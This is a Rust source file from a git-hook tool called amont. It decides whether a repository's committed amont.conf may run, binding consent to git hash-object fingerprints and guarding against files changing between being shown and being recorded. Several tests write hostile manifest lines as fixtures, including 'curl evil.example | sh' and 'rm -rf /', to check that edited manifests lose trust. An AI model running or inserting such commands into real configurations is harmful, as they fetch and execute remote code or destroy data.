amont_runtime/trust.rs
1//! Whether this repository's `amont.conf` may run.
2//!
3//! `amont.conf` is committed, which is the point — a team shares a check by
4//! committing it. The consequence is that cloning a repository and committing to
5//! it would otherwise run commands that repository chose, and neither of those
6//! acts is one anybody performs as a decision about trust. Reviewing a diff
7//! before running it is; nothing asked for that.
8//!
9//! So the manifest is inert until somebody says otherwise, and the record is
10//! keyed on the FILE'S CONTENT rather than its path: a `git pull` that adds a
11//! command does not inherit the consent given to the file before it.
12//!
13//! ## Why `git hash-object` and not a hash of our own
14//!
15//! `amont` links no external crates (`scripts/check-no-deps.sh`), and the
16//! only hash in `std` is `DefaultHasher` — SipHash with a fixed key, which is
17//! not collision-resistant and would let a crafted manifest match a trusted
18//! one's fingerprint. Writing SHA-256 by hand is a hundred lines nobody would
19//! review as carefully as they should.
20//!
21//! `git` is already a hard dependency of every path in this binary, and
22//! `git hash-object` is the identity git itself uses for content. It is SHA-1
23//! (or SHA-256 in a repository configured for it), which is not a strong
24//! guarantee against a determined attacker with a chosen-prefix collision — but
25//! it is enormously better than SipHash, costs no dependency, and a user can
26//! reproduce it by hand to check what they trusted:
27//!
28//! ```text
29//! $ git hash-object --no-filters amont.conf
30//! ```
31//!
32//! `--no-filters` is not decoration. Without it git applies the clean filter
33//! and eol conversion that the repository's own committed `.gitattributes`
34//! asks for — so the repository would be choosing the transform its consent is
35//! taken through, and two manifests this parser reads differently can be given
36//! the same id. Consent is bound to the bytes we PARSE.
37
38use std::path::Path;
39
40use crate::ui::valid_sign;
41
42/// Where the decision is recorded. Local, never committed — a repository must
43/// not be able to declare itself trusted.
44///
45/// MULTI-VALUED, and that is the whole point. `--local` config is shared by every
46/// worktree of a repository, so a single value meant worktrees fought over it:
47/// trusting one checkout made every other checkout on a different branch report
48/// `TRUSTED ONCE, AND CHANGED SINCE`, and its declared checks stop running until
49/// somebody re-trusts — which then breaks the first one. With one worktree per
50/// task, as `git worktree` workflows have, the record never settles.
51///
52/// A set fixes it without moving the record anywhere, because trust here has
53/// always been keyed on CONTENT rather than on place: the question is "have these
54/// exact bytes been reviewed", and the answer does not depend on which checkout is
55/// asking. Two worktrees with the same amont.conf need one acceptance between
56/// them; two with different manifests hold one entry each.
57///
58/// The cost, stated plainly: reverting a manifest to bytes accepted earlier no
59/// longer asks again, where a single-valued record would have. That is the
60/// definition working as written — those bytes WERE reviewed — but it is a
61/// weaker guarantee than before, and [`KEEP`] bounds how far back it reaches.
62///
63/// `--worktree` config was the other candidate. It needs
64/// `extensions.worktreeConfig=true` on the repository, which is amont writing a
65/// repo-wide git setting other tools also read, to fix a problem of its own.
66pub const KEY: &str = "amont.trusted";
67
68/// Content id of `path`, as git would compute it.
69///
70/// `--no-filters`, because consent is bound to CONTENT and the content that
71/// matters is the bytes we PARSE. Plain `git hash-object` applies the clean
72/// filter and eol conversion configured by the repository's own committed
73/// `.gitattributes` — so a repo that declares `amont.conf ident` (or
74/// `text eol=crlf`) chooses the transform its fingerprint is taken through,
75/// and two manifests we would parse differently can hash identically. The
76/// binding was to content-after-a-repo-controlled-transform.
77pub fn fingerprint(repo: &Path, manifest: &Path) -> Option<String> {
78 crate::git::stdout_in(repo, &["hash-object", "--no-filters", manifest.to_str()?])
79}
80
81/// The same identity, for bytes already in hand.
82///
83/// `--stdin` is never filtered, so this names exactly the buffer given to it.
84/// Used where the caller has read the file and is about to act on THAT read:
85/// hashing the path again would be a second read, and the two can differ.
86pub fn fingerprint_bytes(repo: &Path, bytes: &[u8]) -> Option<String> {
87 crate::git::stdout_piped_in(repo, &["hash-object", "--stdin"], bytes)
88}
89
90/// What the repository has recorded, if anything.
91pub fn recorded(repo: &Path) -> Vec<String> {
92 crate::git::stdout_in(repo, &["config", "--local", "--get-all", KEY])
93 .map(|out| {
94 out.lines()
95 .map(str::trim)
96 .filter(|l| !l.is_empty())
97 .map(str::to_string)
98 .collect()
99 })
100 .unwrap_or_default()
101}
102
103#[derive(Debug, Clone, Copy, PartialEq, Eq)]
104pub enum State {
105 /// No manifest. The overwhelmingly common case, and it must cost nothing.
106 NoManifest,
107 /// Trusted, and the file still has the bytes that were trusted.
108 Trusted,
109 /// Never trusted here.
110 Untrusted,
111 /// Trusted once, and edited since. Distinct from `Untrusted` because the
112 /// message should say which happened — "somebody changed it" is a different
113 /// thing to tell a reader than "you have not looked at this yet".
114 Changed,
115}
116
117/// Decide whether `repo`'s manifest may run.
118pub fn state(repo: &Path) -> State {
119 let manifest = repo.join(crate::manifest::MANIFEST);
120 if !manifest.is_file() {
121 return State::NoManifest;
122 }
123 let Some(current) = fingerprint(repo, &manifest) else {
124 // Cannot compute it, so cannot claim it matches.
125 return State::Untrusted;
126 };
127 verdict(repo, ¤t)
128}
129
130/// The same decision, about bytes the caller already holds.
131///
132/// For anyone who has read the manifest and is about to act on THAT read.
133/// Re-opening the file to decide whether the first read may run is two reads of
134/// something that can change in between, and the whole point of the record is
135/// that it names the content being executed.
136pub fn state_of(repo: &Path, source: &[u8]) -> State {
137 let Some(current) = fingerprint_bytes(repo, source) else {
138 return State::Untrusted;
139 };
140 verdict(repo, ¤t)
141}
142
143fn verdict(repo: &Path, current: &str) -> State {
144 let seen = recorded(repo);
145 if seen.iter().any(|s| s == current) {
146 State::Trusted
147 } else if seen.is_empty() {
148 State::Untrusted
149 } else {
150 State::Changed
151 }
152}
153
154/// Record the manifest as it stands now.
155pub fn record(repo: &Path) -> Result<String, String> {
156 let manifest = repo.join(crate::manifest::MANIFEST);
157 let fp = fingerprint(repo, &manifest)
158 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
159 record_verified(repo, &fp)?;
160 Ok(fp)
161}
162
163/// Record `fp` as trusted, but ONLY if the manifest still hashes to it.
164///
165/// The gap this closes: `describe()` prints the manifest, then — in
166/// `install::offer_trust` — `confirm()` blocks on a keypress, sometimes for
167/// several seconds, before anything is recorded. A plain re-hash at that
168/// point trusts whatever is on disk THEN, which is not necessarily what was
169/// shown; a file changed in that window would be trusted without ever having
170/// been reviewed, which is the exact thing this module exists to prevent.
171/// Callers fingerprint what they show BEFORE asking, and pass that same
172/// value here — verified again, not merely assumed, once the answer is in.
173pub fn record_verified(repo: &Path, fp: &str) -> Result<(), String> {
174 let manifest = repo.join(crate::manifest::MANIFEST);
175 let now = fingerprint(repo, &manifest)
176 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
177 if now != fp {
178 return Err(format!(
179 "{} changed since it was shown — nothing was trusted; run `amont trust` again to review it",
180 crate::manifest::MANIFEST
181 ));
182 }
183 // Already accepted — adding it again would grow the list for nothing.
184 if recorded(repo).iter().any(|s| s == fp) {
185 return Ok(());
186 }
187 let ok = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, fp]).is_some();
188 if !ok {
189 return Err(format!("cannot record {KEY} in this repository"));
190 }
191 prune(repo);
192 Ok(())
193}
194
195/// Forget it.
196pub fn revoke(repo: &Path) -> Result<(), String> {
197 // `--unset-all` exits 5 when the key is absent, which is not a failure here.
198 // ALL of them: revoking means this repository trusts nothing, and leaving a
199 // sibling worktree's fingerprint behind would mean `--revoke` did not.
200 let _ = crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]);
201 Ok(())
202}
203
204/// How many accepted fingerprints to keep.
205///
206/// One per checkout that is currently on a different branch is the shape this
207/// serves, plus a little history. Unbounded, `.git/config` would grow a line per
208/// edit of the manifest, forever.
209const KEEP: usize = 16;
210
211/// Trim the oldest entries once the list is longer than [`KEEP`].
212///
213/// Best-effort by design: the new value was already added before this runs, so a
214/// failure here leaves a list that is correct and merely longer than intended,
215/// never one that has lost the fingerprint somebody just accepted.
216fn prune(repo: &Path) {
217 let all = recorded(repo);
218 if all.len() <= KEEP {
219 return;
220 }
221 let keep: Vec<String> = all[all.len() - KEEP..].to_vec();
222 if crate::git::stdout_in(repo, &["config", "--local", "--unset-all", KEY]).is_none() {
223 return;
224 }
225 for fp in keep {
226 let _ = crate::git::stdout_in(repo, &["config", "--local", "--add", KEY, &fp]);
227 }
228}
229
230/// The reason an external does not run, phrased for the check's own report.
231pub fn why(state: State) -> Option<&'static str> {
232 match state {
233 State::NoManifest | State::Trusted => None,
234 State::Untrusted => {
235 Some("declared in an untrusted amont.conf — review it, then `amont trust`")
236 }
237 State::Changed => {
238 Some("amont.conf changed since it was trusted — review it, then `amont trust`")
239 }
240 }
241}
242
243/// Show what the manifest declares, so the decision is made with it in view.
244///
245/// Printing the lines is the whole point: "trust this file" is not a question
246/// anybody can answer without seeing it, and a prompt that does not show it is
247/// a prompt that trains people to press y.
248pub fn describe(repo: &Path) -> String {
249 describe_source(
250 &std::fs::read_to_string(repo.join(crate::manifest::MANIFEST)).unwrap_or_default(),
251 )
252}
253
254/// The same listing, rendered from text the caller already read.
255///
256/// So that what is SHOWN and what is FINGERPRINTED come from one read. Two
257/// reads of a file somebody is deciding about can disagree, and the decision
258/// would then be recorded about bytes nobody was shown.
259pub fn describe_source(text: &str) -> String {
260 use std::fmt::Write;
261 let mut out = String::new();
262 let lines = crate::manifest::parse_lines(text);
263 // Policy and tool-pin lines are rendered as their own blocks below —
264 // they are not checks, and running them through the check table printed
265 // them as `! broken`, which told the person consenting that something
266 // was WRONG with the very lines they were being asked to approve.
267 let (checks, rest): (Vec<_>, Vec<_>) = lines.into_iter().partition(|l| l.is_check());
268 for line in checks {
269 let (name, stage, parsed) = line.into_parts();
270 // Every field here is repo-controlled, and this is the text somebody
271 // is about to say yes to. Sanitised BEFORE the padding, so the column
272 // widths are computed on what is actually printed — an escape sequence
273 // is zero columns wide and would silently shift the alignment even if
274 // it did nothing worse. See `ui::sanitize` for what a concealed
275 // declaration bought.
276 let name = crate::ui::sanitize(&name);
277 match parsed {
278 Ok(declared) => {
279 let _ = writeln!(
280 out,
281 " {name:<14} {:<10} {}",
282 stage.as_str(),
283 crate::ui::sanitize(&declared.command())
284 );
285 }
286 Err(why) => {
287 let _ = writeln!(
288 out,
289 " {name:<14} {:<10} ! {}",
290 stage.as_str(),
291 crate::ui::sanitize(&why.to_string())
292 );
293 }
294 }
295 }
296 let pins: Vec<String> = rest
297 .iter()
298 .filter_map(|l| match l {
299 crate::manifest::Line::Tool(pin) => {
300 Some(format!("tool {} {}", pin.program, pin.want))
301 }
302 _ => None,
303 })
304 .collect();
305 let policy: Vec<String> = rest
306 .iter()
307 .filter_map(|l| match l {
308 crate::manifest::Line::Policy { what, .. } => Some(what.describe()),
309 _ => None,
310 })
311 .collect();
312 if !policy.is_empty() {
313 let _ = writeln!(out, " and sets policy for built-in checks:");
314 for p in policy {
315 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
316 }
317 }
318 let tree: Vec<String> = rest
319 .iter()
320 .filter_map(|l| match l {
321 crate::manifest::Line::Tree(gate) => Some(format!(
322 "{:<14} {:<10} {}",
323 gate.name,
324 gate.tool.as_str(),
325 gate.command
326 )),
327 _ => None,
328 })
329 .collect();
330 if !tree.is_empty() {
331 let _ = writeln!(
332 out,
333 " and declares whole-tree gates (run at commit, never decide it):"
334 );
335 for t in tree {
336 let _ = writeln!(out, " {}", crate::ui::sanitize(&t));
337 }
338 }
339 if !pins.is_empty() {
340 let _ = writeln!(out, " and pins tool versions (verified, warn-only):");
341 for p in pins {
342 let _ = writeln!(out, " {}", crate::ui::sanitize(&p));
343 }
344 }
345 out
346}
347
348/// A yes/no on the terminal, or `false` when there is nobody to ask.
349///
350/// Reads `/dev/tty` rather than stdin: git hands a hook a pipe, and a prompt
351/// that read stdin would consume something else's input. Same reason
352/// `package-lock` does it, and the third copy of this is where it becomes a
353/// shared function.
354#[cfg(unix)]
355pub fn confirm(prompt: &str) -> bool {
356 use std::io::{BufRead, BufReader, Write};
357 let Ok(tty) = std::fs::File::open("/dev/tty") else {
358 return false;
359 };
360 print!("{prompt}");
361 let _ = std::io::stdout().flush();
362 let mut line = String::new();
363 if BufReader::new(tty).read_line(&mut line).is_err() {
364 return false;
365 }
366 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
367}
368
369/// `CONIN$` is the console's `/dev/tty`: it reaches the keyboard even when
370/// something else holds stdin. Before this, Windows always declined —
371/// `amont trust` could never be granted interactively there, so every
372/// declared check spent its life politely disabled for the Windows
373/// minority of a team.
374///
375/// **Gated on stdin actually being a console**, which is the whole
376/// difference between this and `/dev/tty`. Opening `/dev/tty` FAILS with no
377/// controlling terminal, so unix gets its "nobody to ask" answer for free;
378/// `CONIN$` opens whenever the process has a console at all — which a CI
379/// runner does — and then blocks forever on a read nobody will answer.
380/// That is not hypothetical: it hung four install tests until the Windows
381/// job timed out, at 20 minutes, the first time this shipped without the
382/// gate. A redirected stdin (git handing a hook a pipe, a test using
383/// `Stdio::null()`, a script piping input) therefore declines, exactly as
384/// before — the prompt is for a human who typed a command, and a human who
385/// typed a command has a console on stdin.
386#[cfg(windows)]
387pub fn confirm(prompt: &str) -> bool {
388 use std::io::{BufRead, BufReader, Write};
389 if !stdin_is_a_console() {
390 return false;
391 }
392 let Ok(con) = std::fs::File::open("CONIN$") else {
393 return false;
394 };
395 print!("{prompt}");
396 let _ = std::io::stdout().flush();
397 let mut line = String::new();
398 if BufReader::new(con).read_line(&mut line).is_err() {
399 return false;
400 }
401 matches!(line.trim_start().chars().next(), Some('y') | Some('Y'))
402}
403
404/// Whether stdin is a real console rather than a pipe, a file, or `NUL`.
405///
406/// `GetConsoleMode` succeeds only for a console handle — the standard way
407/// to ask on Windows, and one kernel32 call, so this stays dependency-free
408/// like the signal handler in `staged_only`.
409#[cfg(windows)]
410fn stdin_is_a_console() -> bool {
411 const STD_INPUT_HANDLE: u32 = -10i32 as u32;
412 #[link(name = "kernel32")]
413 extern "system" {
414 fn GetStdHandle(which: u32) -> *mut std::ffi::c_void;
415 fn GetConsoleMode(handle: *mut std::ffi::c_void, mode: *mut u32) -> i32;
416 }
417 let mut mode = 0u32;
418 unsafe {
419 let handle = GetStdHandle(STD_INPUT_HANDLE);
420 if handle.is_null() {
421 return false;
422 }
423 GetConsoleMode(handle, &mut mode) != 0
424 }
425}
426
427/// Neither `/dev/tty` nor a console: nobody to ask, which declines.
428#[cfg(not(any(unix, windows)))]
429pub fn confirm(_prompt: &str) -> bool {
430 false
431}
432
433/// `amont trust [--show|--revoke]`.
434pub fn command(args: &[std::ffi::OsString]) -> Result<(), String> {
435 // Refuse rather than fall back to ".". Trust is RECORDED per repository,
436 // keyed by the root this resolves to, so a "." root outside a repository
437 // meant `amont trust` in `~` would read `~/amont.conf`, show its
438 // declarations, and record trust for them — against a repository that does
439 // not exist, in a state no later `amont trust --revoke` would find.
440 let root = crate::hooks::common::repo_root_checked()?;
441 let root = Path::new(&root);
442 let flag = |f: &str| args.iter().any(|a| a == f);
443
444 if flag("--revoke") {
445 revoke(root)?;
446 println!("{} amont.conf is no longer trusted here", valid_sign());
447 return Ok(());
448 }
449
450 let state = state(root);
451 if state == State::NoManifest {
452 println!("no {} in this repository", crate::manifest::MANIFEST);
453 return Ok(());
454 }
455
456 if flag("--show") {
457 println!("{}", crate::manifest::MANIFEST);
458 print!("{}", describe(root));
459 println!(
460 " {}",
461 match state {
462 State::Trusted => "trusted here",
463 State::Changed => "TRUSTED ONCE, AND CHANGED SINCE — not running",
464 _ => "not trusted here — not running",
465 }
466 );
467 return Ok(());
468 }
469
470 if state == State::Trusted {
471 println!("{} already trusted, unchanged", valid_sign());
472 return Ok(());
473 }
474
475 // One read: the bytes shown are the bytes fingerprinted, and
476 // `record_verified` then confirms they are still the bytes on disk. Read
477 // twice, and the listing somebody approved need not be what got recorded.
478 let manifest = root.join(crate::manifest::MANIFEST);
479 let source =
480 std::fs::read(&manifest).map_err(|e| format!("cannot read {}: {e}", manifest.display()))?;
481 let fp = fingerprint_bytes(root, &source)
482 .ok_or_else(|| format!("cannot hash {}", manifest.display()))?;
483 println!("{} declares:", crate::manifest::MANIFEST);
484 print!("{}", describe_source(&String::from_utf8_lossy(&source)));
485 record_verified(root, &fp)?;
486 println!("{} trusted ({fp})", valid_sign());
487 Ok(())
488}
489
490#[cfg(test)]
491mod tests {
492 use super::*;
493
494 fn repo(name: &str) -> std::path::PathBuf {
495 let d = std::env::temp_dir().join(format!("trust-{name}-{}", std::process::id()));
496 let _ = std::fs::remove_dir_all(&d);
497 std::fs::create_dir_all(&d).unwrap();
498 std::process::Command::new("git")
499 .args(["init", "-q", "--template=", "."])
500 .current_dir(&d)
501 .output()
502 .expect("git");
503 d
504 }
505
506 fn write_manifest(dir: &Path, body: &str) {
507 std::fs::write(dir.join(crate::manifest::MANIFEST), body).unwrap();
508 }
509
510 /// Ninety-six repositories have no manifest. That must be free and silent.
511 #[test]
512 fn no_manifest_is_not_a_trust_question() {
513 let d = repo("none");
514 assert_eq!(state(&d), State::NoManifest);
515 assert_eq!(why(State::NoManifest), None);
516 let _ = std::fs::remove_dir_all(&d);
517 }
518
519 #[test]
520 fn a_manifest_starts_untrusted() {
521 let d = repo("new");
522 write_manifest(&d, "pre-commit a * block echo hi\n");
523 assert_eq!(state(&d), State::Untrusted);
524 let _ = std::fs::remove_dir_all(&d);
525 }
526
527 #[test]
528 fn recording_makes_it_trusted() {
529 let d = repo("record");
530 write_manifest(&d, "pre-commit a * block echo hi\n");
531 record(&d).expect("record");
532 assert_eq!(state(&d), State::Trusted);
533 let _ = std::fs::remove_dir_all(&d);
534 }
535
536 /// The property the whole design turns on: consent is to CONTENT, so a
537 /// `git pull` that adds a command cannot inherit it.
538 #[test]
539 fn editing_the_manifest_revokes_trust() {
540 let d = repo("edit");
541 write_manifest(&d, "pre-commit a * block echo hi\n");
542 record(&d).expect("record");
543 assert_eq!(state(&d), State::Trusted);
544
545 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
546 assert_eq!(
547 state(&d),
548 State::Changed,
549 "a manifest edited after trusting must not still be trusted"
550 );
551 // And it says which happened, because "you have not looked at this" is
552 // a different sentence to "somebody changed it".
553 assert!(why(State::Changed).expect("reason").contains("changed"));
554 let _ = std::fs::remove_dir_all(&d);
555 }
556
557 /// The TOCTOU `record_verified` exists to close: `install::offer_trust`
558 /// fingerprints what it showed, waits on a keypress, then must not trust
559 /// whatever is on disk by the time the answer comes back if that is not
560 /// what was actually shown.
561 #[test]
562 fn record_verified_refuses_a_manifest_that_changed_since_it_was_fingerprinted() {
563 let d = repo("changed-mid-confirm");
564 write_manifest(&d, "pre-commit a * block echo hi\n");
565 let manifest = d.join(crate::manifest::MANIFEST);
566 let shown_fp = fingerprint(&d, &manifest).expect("fingerprint");
567
568 // The file is rewritten in the window a real confirm() would have
569 // been blocking on a keypress.
570 write_manifest(&d, "pre-commit a * block curl evil.example | sh\n");
571
572 let err = record_verified(&d, &shown_fp).expect_err("must refuse");
573 assert!(err.contains("changed"), "{err}");
574 assert_eq!(
575 state(&d),
576 State::Untrusted,
577 "the rewritten content must not end up trusted"
578 );
579 let _ = std::fs::remove_dir_all(&d);
580 }
581
582 /// The ordinary path still works: nothing changed, so the fingerprint
583 /// shown is the fingerprint recorded.
584 #[test]
585 fn record_verified_accepts_a_manifest_that_did_not_change() {
586 let d = repo("unchanged");
587 write_manifest(&d, "pre-commit a * block echo hi\n");
588 let manifest = d.join(crate::manifest::MANIFEST);
589 let fp = fingerprint(&d, &manifest).expect("fingerprint");
590 record_verified(&d, &fp).expect("record");
591 assert_eq!(state(&d), State::Trusted);
592 let _ = std::fs::remove_dir_all(&d);
593 }
594
595 #[test]
596 fn revoking_returns_it_to_untrusted() {
597 let d = repo("revoke");
598 write_manifest(&d, "pre-commit a * block echo hi\n");
599 record(&d).expect("record");
600 revoke(&d).expect("revoke");
601 assert_eq!(state(&d), State::Untrusted);
602 // Twice is not an error: `git config --unset` exits 5 on a missing key.
603 revoke(&d).expect("revoke again");
604 let _ = std::fs::remove_dir_all(&d);
605 }
606
607 /// The bug this file was changed for.
608 ///
609 /// `--local` config is shared by every worktree, so with a single value the
610 /// two checkouts below take turns invalidating each other and neither ever
611 /// settles. Both manifests were reviewed; both must stay accepted.
612 #[test]
613 fn two_worktrees_with_different_manifests_do_not_evict_each_other() {
614 let d = repo("worktrees");
615 let a = "pre-commit a * block echo a\n";
616 let b = "pre-commit b * block echo b\n";
617
618 write_manifest(&d, a);
619 record(&d).expect("accept a");
620 assert_eq!(state(&d), State::Trusted);
621
622 // the sibling worktree, on another branch, accepts its own manifest
623 write_manifest(&d, b);
624 record(&d).expect("accept b");
625 assert_eq!(state(&d), State::Trusted);
626
627 // and the first one is STILL trusted — this is what used to say Changed
628 write_manifest(&d, a);
629 assert_eq!(
630 state(&d),
631 State::Trusted,
632 "accepting a second manifest evicted the first"
633 );
634 let _ = std::fs::remove_dir_all(&d);
635 }
636
637 /// A manifest nobody ever accepted is still Changed, not Trusted: the set
638 /// must not turn into "anything goes once you have trusted one thing".
639 #[test]
640 fn an_unseen_manifest_is_still_changed() {
641 let d = repo("unseen");
642 write_manifest(&d, "pre-commit a * block echo a\n");
643 record(&d).expect("record");
644 write_manifest(&d, "pre-commit evil * block curl example.com\n");
645 assert_eq!(state(&d), State::Changed);
646 let _ = std::fs::remove_dir_all(&d);
647 }
648
649 /// Revoke means this repository trusts nothing — not "all but the sibling's".
650 #[test]
651 fn revoke_clears_every_accepted_fingerprint() {
652 let d = repo("revoke-all");
653 write_manifest(&d, "pre-commit a * block echo a\n");
654 record(&d).expect("a");
655 write_manifest(&d, "pre-commit b * block echo b\n");
656 record(&d).expect("b");
657 revoke(&d).expect("revoke");
658 assert!(recorded(&d).is_empty(), "revoke left a fingerprint behind");
659 assert_eq!(state(&d), State::Untrusted);
660 write_manifest(&d, "pre-commit a * block echo a\n");
661 assert_eq!(state(&d), State::Untrusted);
662 let _ = std::fs::remove_dir_all(&d);
663 }
664
665 /// Accepting the same bytes twice must not grow the list.
666 #[test]
667 fn re_accepting_the_same_manifest_is_idempotent() {
668 let d = repo("idempotent");
669 write_manifest(&d, "pre-commit a * block echo a\n");
670 record(&d).expect("once");
671 record(&d).expect("twice");
672 assert_eq!(recorded(&d).len(), 1);
673 let _ = std::fs::remove_dir_all(&d);
674 }
675
676 /// The list is bounded, or `.git/config` grows a line per manifest edit
677 /// forever.
678 #[test]
679 fn the_accepted_list_is_capped() {
680 let d = repo("capped");
681 for i in 0..KEEP + 5 {
682 write_manifest(&d, &format!("pre-commit a{i} * block echo {i}\n"));
683 record(&d).expect("record");
684 }
685 assert_eq!(recorded(&d).len(), KEEP);
686 // the most recent survives, the oldest does not
687 assert_eq!(state(&d), State::Trusted);
688 write_manifest(&d, "pre-commit a0 * block echo 0\n");
689 assert_eq!(state(&d), State::Changed);
690 let _ = std::fs::remove_dir_all(&d);
691 }
692
693 /// Reproducible by hand, which is the point of using git's own identity.
694 #[test]
695 fn the_fingerprint_is_git_hash_object() {
696 let d = repo("fp");
697 write_manifest(&d, "pre-commit a * block echo hi\n");
698 let manifest = d.join(crate::manifest::MANIFEST);
699 let ours = fingerprint(&d, &manifest).expect("fingerprint");
700 let theirs = String::from_utf8_lossy(
701 &std::process::Command::new("git")
702 .args(["hash-object", "--no-filters", manifest.to_str().unwrap()])
703 .current_dir(&d)
704 .output()
705 .expect("git")
706 .stdout,
707 )
708 .trim()
709 .to_string();
710 assert_eq!(ours, theirs);
711 let _ = std::fs::remove_dir_all(&d);
712 }
713 /// A repository must not choose the transform its own consent is taken
714 /// through.
715 ///
716 /// `.gitattributes` is committed, so the repo picks the clean filter; plain
717 /// `git hash-object` applies it. With one that collapses everything to a
718 /// constant, two manifests this parser reads DIFFERENTLY are given the same
719 /// id — so a trusted fingerprint would cover content nobody reviewed.
720 #[test]
721 fn a_clean_filter_cannot_make_two_manifests_share_a_fingerprint() {
722 let d = repo("filter");
723 std::fs::write(d.join(".gitattributes"), "amont.conf filter=flatten\n")
724 .expect("write attributes");
725 let ok = std::process::Command::new("git")
726 .args(["config", "--local", "filter.flatten.clean", "echo same"])
727 .current_dir(&d)
728 .status()
729 .map(|s| s.success())
730 .unwrap_or(false);
731 if !ok {
732 return; // no git to configure; nothing to assert
733 }
734 let manifest = d.join(crate::manifest::MANIFEST);
735
736 write_manifest(&d, "pre-commit a * block echo one\n");
737 let filtered_a = raw_hash(&d, &manifest);
738 let ours_a = fingerprint(&d, &manifest).expect("fingerprint a");
739
740 write_manifest(&d, "pre-commit b * block rm -rf /\n");
741 let filtered_b = raw_hash(&d, &manifest);
742 let ours_b = fingerprint(&d, &manifest).expect("fingerprint b");
743
744 // The collision has to EXIST before its absence means anything. A
745 // clean filter is an external program run through git's own shell, and
746 // whether `echo` resolves that way is the platform's business, not
747 // ours — Git for Windows does not collapse these. Say so and stop,
748 // rather than report a fixture that would not build as a defect in the
749 // code under test. `an_eol_conversion_cannot_...` below covers the same
750 // property with no external program involved and runs everywhere.
751 if filtered_a != filtered_b {
752 println!(
753 "! clean filters do not apply here — collision not reproducible, \
754 see an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint"
755 );
756 return;
757 }
758 assert_ne!(
759 ours_a, ours_b,
760 "the fingerprint followed a repo-controlled filter"
761 );
762 }
763
764 /// The same property, with git's own eol conversion instead of an external
765 /// filter — so it holds on every platform.
766 ///
767 /// `.gitattributes` is COMMITTED, so the repository chooses the conversion.
768 /// Under `text eol=lf`, git's clean step normalises CRLF to LF, and two
769 /// files differing only in line endings hash identically. That is a weaker
770 /// lever than a clean filter (the parser reads both the same way), but it
771 /// is the same mistake: the id names content-after-a-repo-controlled
772 /// transform rather than the bytes we read.
773 #[test]
774 fn an_eol_conversion_cannot_make_two_manifests_share_a_fingerprint() {
775 let d = repo("eol");
776 std::fs::write(d.join(".gitattributes"), "amont.conf text eol=lf\n")
777 .expect("write attributes");
778 let manifest = d.join(crate::manifest::MANIFEST);
779
780 // Byte-different, line-ending-identical-after-normalisation.
781 std::fs::write(&manifest, b"pre-commit a * block echo one\r\n").expect("crlf");
782 let filtered_crlf = raw_hash(&d, &manifest);
783 let ours_crlf = fingerprint(&d, &manifest).expect("fingerprint crlf");
784
785 std::fs::write(&manifest, b"pre-commit a * block echo one\n").expect("lf");
786 let filtered_lf = raw_hash(&d, &manifest);
787 let ours_lf = fingerprint(&d, &manifest).expect("fingerprint lf");
788
789 if filtered_crlf != filtered_lf {
790 println!("! eol conversion does not apply here — collision not reproducible");
791 return;
792 }
793 assert_ne!(
794 ours_crlf, ours_lf,
795 "the fingerprint followed a repo-controlled eol conversion"
796 );
797 }
798
799 fn raw_hash(dir: &std::path::Path, manifest: &std::path::Path) -> String {
800 String::from_utf8_lossy(
801 &std::process::Command::new("git")
802 .args(["hash-object", manifest.to_str().unwrap()])
803 .current_dir(dir)
804 .output()
805 .expect("git")
806 .stdout,
807 )
808 .trim()
809 .to_string()
810 }
811}